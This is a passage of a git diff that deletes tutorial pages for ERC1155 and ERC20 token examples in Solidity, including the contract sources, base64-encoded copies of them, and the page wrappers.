WRzLmxlbmd0aCA9PSB2YWx1ZXMubGVuZ3RoLCAiaWRzIGxlbmd0aCAhPSB2YWx1ZXMgbGVuZ3RoIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGlkcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlT2ZbZnJvbV1baWRzW2ldXSAtPSB2YWx1ZXNbaV07CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b11baWRzW2ldXSArPSB2YWx1ZXNbaV07CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyQmF0Y2gobXNnLnNlbmRlciwgZnJvbSwgdG8sIGlkcywgdmFsdWVzKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVCYXRjaFJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgICAgICAgICAgZnJvbSwKICAgICAgICAgICAgICAgICAgICBpZHMsCiAgICAgICAgICAgICAgICAgICAgdmFsdWVzLAogICAgICAgICAgICAgICAgICAgIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NUJhdGNoUmVjZWl2ZWQuc2VsZWN0b3IsCiAgICAgICAgICAgICAgICAidW5zYWZlIHRyYW5zZmVyIgogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBFUkMxNjUKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGludGVyZmFjZUlkID09IDB4MDFmZmM5YTcgfHwgLy8gRVJDMTY1IEludGVyZmFjZSBJRCBmb3IgRVJDMTY1CiAgICAgICAgICAgIGludGVyZmFjZUlkID09IDB4ZDliNjdhMjYgfHwgLy8gRVJDMTY1IEludGVyZmFjZSBJRCBmb3IgRVJDMTE1NQogICAgICAgICAgICBpbnRlcmZhY2VJZCA9PSAweDBlODkzNDFjOyAvLyBFUkMxNjUgSW50ZXJmYWNlIElEIGZvciBFUkMxMTU1TWV0YWRhdGFVUkkKICAgIH0KCiAgICAvLyBFUkMxMTU1IE1ldGFkYXRhIFVSSQogICAgZnVuY3Rpb24gdXJpKHVpbnQyNTYgaWQpIHB1YmxpYyB2aWV3IHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkge30KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbnMKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQsIHVpbnQyNTYgdmFsdWUsIGJ5dGVzIG1lbW9yeSBkYXRhKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidG8gPSAwIGFkZHJlc3MiKTsKCiAgICAgICAgYmFsYW5jZU9mW3RvXVtpZF0gKz0gdmFsdWU7CgogICAgICAgIGVtaXQgVHJhbnNmZXJTaW5nbGUobXNnLnNlbmRlciwgYWRkcmVzcygwKSwgdG8sIGlkLCB2YWx1ZSk7CgogICAgICAgIGlmICh0by5jb2RlLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIElFUkMxMTU1VG9rZW5SZWNlaXZlcih0bykub25FUkMxMTU1UmVjZWl2ZWQoCiAgICAgICAgICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgICAgICAgICBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgICAgIGlkLAogICAgICAgICAgICAgICAgICAgIHZhbHVlLAogICAgICAgICAgICAgICAgICAgIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2JhdGNoTWludCgKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoaWRzLmxlbmd0aCA9PSB2YWx1ZXMubGVuZ3RoLCAiaWRzIGxlbmd0aCAhPSB2YWx1ZXMgbGVuZ3RoIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGlkcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dW2lkc1tpXV0gKz0gdmFsdWVzW2ldOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBUcmFuc2ZlckJhdGNoKG1zZy5zZW5kZXIsIGFkZHJlc3MoMCksIHRvLCBpZHMsIHZhbHVlcyk7CgogICAgICAgIGlmICh0by5jb2RlLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIElFUkMxMTU1VG9rZW5SZWNlaXZlcih0bykub25FUkMxMTU1QmF0Y2hSZWNlaXZlZCgKICAgICAgICAgICAgICAgICAgICBtc2cuc2VuZGVyLAogICAgICAgICAgICAgICAgICAgIGFkZHJlc3MoMCksCiAgICAgICAgICAgICAgICAgICAgaWRzLAogICAgICAgICAgICAgICAgICAgIHZhbHVlcywKICAgICAgICAgICAgICAgICAgICBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVCYXRjaFJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGlkLCB1aW50MjU2IHZhbHVlKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShmcm9tICE9IGFkZHJlc3MoMCksICJmcm9tID0gMCBhZGRyZXNzIik7CiAgICAgICAgYmFsYW5jZU9mW2Zyb21dW2lkXSAtPSB2YWx1ZTsKICAgICAgICBlbWl0IFRyYW5zZmVyU2luZ2xlKG1zZy5zZW5kZXIsIGZyb20sIGFkZHJlc3MoMCksIGlkLCB2YWx1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2JhdGNoQnVybigKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIGlkcywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzCiAgICApIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKGZyb20gIT0gYWRkcmVzcygwKSwgImZyb20gPSAwIGFkZHJlc3MiKTsKICAgICAgICByZXF1aXJlKGlkcy5sZW5ndGggPT0gdmFsdWVzLmxlbmd0aCwgImlkcyBsZW5ndGggIT0gdmFsdWVzIGxlbmd0aCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBpZHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYmFsYW5jZU9mW2Zyb21dW2lkc1tpXV0gLT0gdmFsdWVzW2ldOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBUcmFuc2ZlckJhdGNoKG1zZy5zZW5kZXIsIGZyb20sIGFkZHJlc3MoMCksIGlkcywgdmFsdWVzKTsKICAgIH0KfQoKY29udHJhY3QgTXlNdWx0aVRva2VuIGlzIEVSQzExNTUgewogICAgZnVuY3Rpb24gbWludCh1aW50MjU2IGlkLCB1aW50MjU2IHZhbHVlLCBieXRlcyBtZW1vcnkgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIGlkLCB2YWx1ZSwgZGF0YSk7CiAgICB9CgogICAgZnVuY3Rpb24gYmF0Y2hNaW50KAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICBfYmF0Y2hNaW50KG1zZy5zZW5kZXIsIGlkcywgdmFsdWVzLCBkYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQsIHVpbnQyNTYgdmFsdWUpIGV4dGVybmFsIHsKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBpZCwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhdGNoQnVybih1aW50MjU2W10gY2FsbGRhdGEgaWRzLCB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzKSBleHRlcm5hbCB7CiAgICAgICAgX2JhdGNoQnVybihtc2cuc2VuZGVyLCBpZHMsIHZhbHVlcyk7CiAgICB9Cn0K", - }, -] - -const html = `

Example of ERC1155

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IERC1155 {
-    function safeTransferFrom(
-        address from,
-        address to,
-        uint256 id,
-        uint256 value,
-        bytes calldata data
-    ) external;
-
-    function safeBatchTransferFrom(
-        address from,
-        address to,
-        uint256[] calldata ids,
-        uint256[] calldata values,
-        bytes calldata data
-    ) external;
-
-    function balanceOf(address owner, uint256 id) external view returns (uint256);
-
-    function balanceOfBatch(
-        address[] calldata owners,
-        uint256[] calldata ids
-    ) external view returns (uint256[] memory);
-
-    function setApprovalForAll(address operator, bool approved) external;
-
-    function isApprovedForAll(
-        address owner,
-        address operator
-    ) external view returns (bool);
-}
-
-interface IERC1155TokenReceiver {
-    function onERC1155Received(
-        address operator,
-        address from,
-        uint256 id,
-        uint256 value,
-        bytes calldata data
-    ) external returns (bytes4);
-
-    function onERC1155BatchReceived(
-        address operator,
-        address from,
-        uint256[] calldata ids,
-        uint256[] calldata values,
-        bytes calldata data
-    ) external returns (bytes4);
-}
-
-contract ERC1155 is IERC1155 {
-    event TransferSingle(
-        address indexed operator,
-        address indexed from,
-        address indexed to,
-        uint256 id,
-        uint256 value
-    );
-    event TransferBatch(
-        address indexed operator,
-        address indexed from,
-        address indexed to,
-        uint256[] ids,
-        uint256[] values
-    );
-    event ApprovalForAll(
-        address indexed owner,
-        address indexed operator,
-        bool approved
-    );
-    event URI(string value, uint256 indexed id);
-
-    // owner => id => balance
-    mapping(address => mapping(uint256 => uint256)) public balanceOf;
-    // owner => operator => approved
-    mapping(address => mapping(address => bool)) public isApprovedForAll;
-
-    function balanceOfBatch(
-        address[] calldata owners,
-        uint256[] calldata ids
-    ) external view returns (uint256[] memory balances) {
-        require(owners.length == ids.length, "owners length != ids length");
-
-        balances = new uint[](owners.length);
-
-        unchecked {
-            for (uint256 i = 0; i < owners.length; i++) {
-                balances[i] = balanceOf[owners[i]][ids[i]];
-            }
-        }
-    }
-
-    function setApprovalForAll(address operator, bool approved) external {
-        isApprovedForAll[msg.sender][operator] = approved;
-        emit ApprovalForAll(msg.sender, operator, approved);
-    }
-
-    function safeTransferFrom(
-        address from,
-        address to,
-        uint256 id,
-        uint256 value,
-        bytes calldata data
-    ) external {
-        require(
-            msg.sender == from || isApprovedForAll[from][msg.sender],
-            "not approved"
-        );
-        require(to != address(0), "to = 0 address");
-
-        balanceOf[from][id] -= value;
-        balanceOf[to][id] += value;
-
-        emit TransferSingle(msg.sender, from, to, id, value);
-
-        if (to.code.length > 0) {
-            require(
-                IERC1155TokenReceiver(to).onERC1155Received(
-                    msg.sender,
-                    from,
-                    id,
-                    value,
-                    data
-                ) == IERC1155TokenReceiver.onERC1155Received.selector,
-                "unsafe transfer"
-            );
-        }
-    }
-
-    function safeBatchTransferFrom(
-        address from,
-        address to,
-        uint256[] calldata ids,
-        uint256[] calldata values,
-        bytes calldata data
-    ) external {
-        require(
-            msg.sender == from || isApprovedForAll[from][msg.sender],
-            "not approved"
-        );
-        require(to != address(0), "to = 0 address");
-        require(ids.length == values.length, "ids length != values length");
-
-        for (uint256 i = 0; i < ids.length; i++) {
-            balanceOf[from][ids[i]] -= values[i];
-            balanceOf[to][ids[i]] += values[i];
-        }
-
-        emit TransferBatch(msg.sender, from, to, ids, values);
-
-        if (to.code.length > 0) {
-            require(
-                IERC1155TokenReceiver(to).onERC1155BatchReceived(
-                    msg.sender,
-                    from,
-                    ids,
-                    values,
-                    data
-                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
-                "unsafe transfer"
-            );
-        }
-    }
-
-    // ERC165
-    function supportsInterface(bytes4 interfaceId) external view returns (bool) {
-        return
-            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
-            interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155
-            interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
-    }
-
-    // ERC1155 Metadata URI
-    function uri(uint256 id) public view virtual returns (string memory) {}
-
-    // Internal functions
-    function _mint(address to, uint256 id, uint256 value, bytes memory data) internal {
-        require(to != address(0), "to = 0 address");
-
-        balanceOf[to][id] += value;
-
-        emit TransferSingle(msg.sender, address(0), to, id, value);
-
-        if (to.code.length > 0) {
-            require(
-                IERC1155TokenReceiver(to).onERC1155Received(
-                    msg.sender,
-                    address(0),
-                    id,
-                    value,
-                    data
-                ) == IERC1155TokenReceiver.onERC1155Received.selector,
-                "unsafe transfer"
-            );
-        }
-    }
-
-    function _batchMint(
-        address to,
-        uint256[] calldata ids,
-        uint256[] calldata values,
-        bytes calldata data
-    ) internal {
-        require(to != address(0), "to = 0 address");
-        require(ids.length == values.length, "ids length != values length");
-
-        for (uint256 i = 0; i < ids.length; i++) {
-            balanceOf[to][ids[i]] += values[i];
-        }
-
-        emit TransferBatch(msg.sender, address(0), to, ids, values);
-
-        if (to.code.length > 0) {
-            require(
-                IERC1155TokenReceiver(to).onERC1155BatchReceived(
-                    msg.sender,
-                    address(0),
-                    ids,
-                    values,
-                    data
-                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
-                "unsafe transfer"
-            );
-        }
-    }
-
-    function _burn(address from, uint256 id, uint256 value) internal {
-        require(from != address(0), "from = 0 address");
-        balanceOf[from][id] -= value;
-        emit TransferSingle(msg.sender, from, address(0), id, value);
-    }
-
-    function _batchBurn(
-        address from,
-        uint256[] calldata ids,
-        uint256[] calldata values
-    ) internal {
-        require(from != address(0), "from = 0 address");
-        require(ids.length == values.length, "ids length != values length");
-
-        for (uint256 i = 0; i < ids.length; i++) {
-            balanceOf[from][ids[i]] -= values[i];
-        }
-
-        emit TransferBatch(msg.sender, from, address(0), ids, values);
-    }
-}
-
-contract MyMultiToken is ERC1155 {
-    function mint(uint256 id, uint256 value, bytes memory data) external {
-        _mint(msg.sender, id, value, data);
-    }
-
-    function batchMint(
-        uint256[] calldata ids,
-        uint256[] calldata values,
-        bytes calldata data
-    ) external {
-        _batchMint(msg.sender, ids, values, data);
-    }
-
-    function burn(uint256 id, uint256 value) external {
-        _burn(msg.sender, id, value);
-    }
-
-    function batchBurn(uint256[] calldata ids, uint256[] calldata values) external {
-        _batchBurn(msg.sender, ids, values);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/erc1155/index.md b/src/pages/app/erc1155/index.md deleted file mode 100644 index 919b6c154..000000000 --- a/src/pages/app/erc1155/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: ERC1155 -version: 0.8.20 -description: Example of ERC1155 multi token in Solidity -keywords: [app, application, erc1155, nft, ierc1155] ---- - -Example of ERC1155 - -```solidity -{{{ERC1155}}} -``` diff --git a/src/pages/app/erc1155/index.tsx b/src/pages/app/erc1155/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/erc1155/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/erc20/ERC20.sol b/src/pages/app/erc20/ERC20.sol deleted file mode 100644 index 0d0aaa6a1..000000000 --- a/src/pages/app/erc20/ERC20.sol +++ /dev/null @@ -1,50 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "./IERC20.sol"; - -contract ERC20 is IERC20 { - uint public totalSupply; - mapping(address => uint) public balanceOf; - mapping(address => mapping(address => uint)) public allowance; - string public name = "Solidity by Example"; - string public symbol = "SOLBYEX"; - uint8 public decimals = 18; - - function transfer(address recipient, uint amount) external returns (bool) { - balanceOf[msg.sender] -= amount; - balanceOf[recipient] += amount; - emit Transfer(msg.sender, recipient, amount); - return true; - } - - function approve(address spender, uint amount) external returns (bool) { - allowance[msg.sender][spender] = amount; - emit Approval(msg.sender, spender, amount); - return true; - } - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool) { - allowance[sender][msg.sender] -= amount; - balanceOf[sender] -= amount; - balanceOf[recipient] += amount; - emit Transfer(sender, recipient, amount); - return true; - } - - function mint(uint amount) external { - balanceOf[msg.sender] += amount; - totalSupply += amount; - emit Transfer(address(0), msg.sender, amount); - } - - function burn(uint amount) external { - balanceOf[msg.sender] -= amount; - totalSupply -= amount; - emit Transfer(msg.sender, address(0), amount); - } -} diff --git a/src/pages/app/erc20/IERC20.sol b/src/pages/app/erc20/IERC20.sol deleted file mode 100644 index 1edada913..000000000 --- a/src/pages/app/erc20/IERC20.sol +++ /dev/null @@ -1,24 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} diff --git a/src/pages/app/erc20/MyToken.sol b/src/pages/app/erc20/MyToken.sol deleted file mode 100644 index 7789e1375..000000000 --- a/src/pages/app/erc20/MyToken.sol +++ /dev/null @@ -1,14 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/ERC20.sol"; - -contract MyToken is ERC20 { - constructor(string memory name, string memory symbol) ERC20(name, symbol) { - // Mint 100 tokens to msg.sender - // Similar to how - // 1 dollar = 100 cents - // 1 token = 1 * (10 ** decimals) - _mint(msg.sender, 100 * 10 ** uint(decimals())); - } -} diff --git a/src/pages/app/erc20/TokenSwap.sol b/src/pages/app/erc20/TokenSwap.sol deleted file mode 100644 index 83e183843..000000000 --- a/src/pages/app/erc20/TokenSwap.sol +++ /dev/null @@ -1,67 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.0.0/contracts/token/ERC20/IERC20.sol"; - -/* -How to swap tokens - -1. Alice has 100 tokens from AliceCoin, which is a ERC20 token. -2. Bob has 100 tokens from BobCoin, which is also a ERC20 token. -3. Alice and Bob wants to trade 10 AliceCoin for 20 BobCoin. -4. Alice or Bob deploys TokenSwap -5. Alice approves TokenSwap to withdraw 10 tokens from AliceCoin -6. Bob approves TokenSwap to withdraw 20 tokens from BobCoin -7. Alice or Bob calls TokenSwap.swap() -8. Alice and Bob traded tokens successfully. -*/ - -contract TokenSwap { - IERC20 public token1; - address public owner1; - uint public amount1; - IERC20 public token2; - address public owner2; - uint public amount2; - - constructor( - address _token1, - address _owner1, - uint _amount1, - address _token2, - address _owner2, - uint _amount2 - ) { - token1 = IERC20(_token1); - owner1 = _owner1; - amount1 = _amount1; - token2 = IERC20(_token2); - owner2 = _owner2; - amount2 = _amount2; - } - - function swap() public { - require(msg.sender == owner1 || msg.sender == owner2, "Not authorized"); - require( - token1.allowance(owner1, address(this)) >= amount1, - "Token 1 allowance too low" - ); - require( - token2.allowance(owner2, address(this)) >= amount2, - "Token 2 allowance too low" - ); - - _safeTransferFrom(token1, owner1, owner2, amount1); - _safeTransferFrom(token2, owner2, owner1, amount2); - } - - function _safeTransferFrom( - IERC20 token, - address sender, - address recipient, - uint amount - ) private { - bool sent = token.transferFrom(sender, recipient, amount); - require(sent, "Token transfer failed"); - } -} diff --git a/src/pages/app/erc20/index.html.ts b/src/pages/app/erc20/index.html.ts deleted file mode 100644 index 873991584..000000000 --- a/src/pages/app/erc20/index.html.ts +++ /dev/null @@ -1,206 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "ERC20" -export const description = "Example of ERC20 token in Solidity" - -export const keywords = ["app", "application", "erc20", "ierc20", "token"] - -export const codes = [ - { - fileName: "ERC20.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICB1aW50IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSkgcHVibGljIGFsbG93YW5jZTsKICAgIHN0cmluZyBwdWJsaWMgbmFtZSA9ICJTb2xpZGl0eSBieSBFeGFtcGxlIjsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sID0gIlNPTEJZRVgiOwogICAgdWludDggcHVibGljIGRlY2ltYWxzID0gMTg7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2ZbcmVjaXBpZW50XSArPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKSB7CiAgICAgICAgYWxsb3dhbmNlW21zZy5zZW5kZXJdW3NwZW5kZXJdID0gYW1vdW50OwogICAgICAgIGVtaXQgQXBwcm92YWwobXNnLnNlbmRlciwgc3BlbmRlciwgYW1vdW50KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGFsbG93YW5jZVtzZW5kZXJdW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICBiYWxhbmNlT2Zbc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgYmFsYW5jZU9mW3JlY2lwaWVudF0gKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoc2VuZGVyLCByZWNpcGllbnQsIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gbWludCh1aW50IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBhbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gYW1vdW50OwogICAgICAgIGVtaXQgVHJhbnNmZXIoYWRkcmVzcygwKSwgbXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg==", - }, - { - fileName: "IERC20.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3YzLjAuMC9jb250cmFjdHMvdG9rZW4vRVJDMjAvSUVSQzIwLnNvbAppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IHZhbHVlKTsKICAgIGV2ZW50IEFwcHJvdmFsKGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQgdmFsdWUpOwp9Cg==", - }, - { - fileName: "MyToken.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiaHR0cHM6Ly9naXRodWIuY29tL09wZW5aZXBwZWxpbi9vcGVuemVwcGVsaW4tY29udHJhY3RzL2Jsb2IvdjQuMC4wL2NvbnRyYWN0cy90b2tlbi9FUkMyMC9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sKSBFUkMyMChuYW1lLCBzeW1ib2wpIHsKICAgICAgICAvLyBNaW50IDEwMCB0b2tlbnMgdG8gbXNnLnNlbmRlcgogICAgICAgIC8vIFNpbWlsYXIgdG8gaG93CiAgICAgICAgLy8gMSBkb2xsYXIgPSAxMDAgY2VudHMKICAgICAgICAvLyAxIHRva2VuID0gMSAqICgxMCAqKiBkZWNpbWFscykKICAgICAgICBfbWludChtc2cuc2VuZGVyLCAxMDAgKiAxMCAqKiB1aW50KGRlY2ltYWxzKCkpKTsKICAgIH0KfQo=", - }, - { - fileName: "TokenSwap.sol", - code: 